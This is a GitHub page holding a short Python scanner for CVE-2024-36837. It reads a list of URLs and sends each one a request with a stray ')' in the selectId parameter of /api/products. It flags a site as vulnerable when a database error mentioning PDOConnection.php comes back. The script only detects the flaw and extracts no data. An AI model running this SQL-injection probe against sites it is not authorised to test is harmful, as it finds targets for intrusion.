-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2024-36837.py
28 lines (27 loc) · 1.14 KB
/
CVE-2024-36837.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
def check_vulnerability(url):
# Remove trailing slash if present
if url.endswith('/'):
url = url[:-1]
# Construct the URL with the required endpoint
test_url = f"{url}/api/products?limit=20&priceOrder=&salesOrder=&selectId=)"
try:
response = requests.get(test_url)
# Check if the response contains the specific string indicating a vulnerability
if 'PDOConnection.php' in response.text:
print(f"\033[31m[HIGH RISK]\033[0m Vulnerability found in: {url}")
else:
print(f"\033[32m[SAFE]\033[0m No vulnerability found in: {url}")
except requests.RequestException as e:
print(f"\033[33m[ERROR]\033[0m Could not connect to {url}. ")#Error: {e}")
def main():
# Read URLs from url.txt
with open('url.txt', 'r') as file:
urls = file.readlines()
for url in urls:
url = url.strip() # Remove any leading/trailing whitespace characters
if not url.startswith('http'):
url = 'http://' + url # Add http scheme if missing
check_vulnerability(url)
if __name__ == "__main__":
main()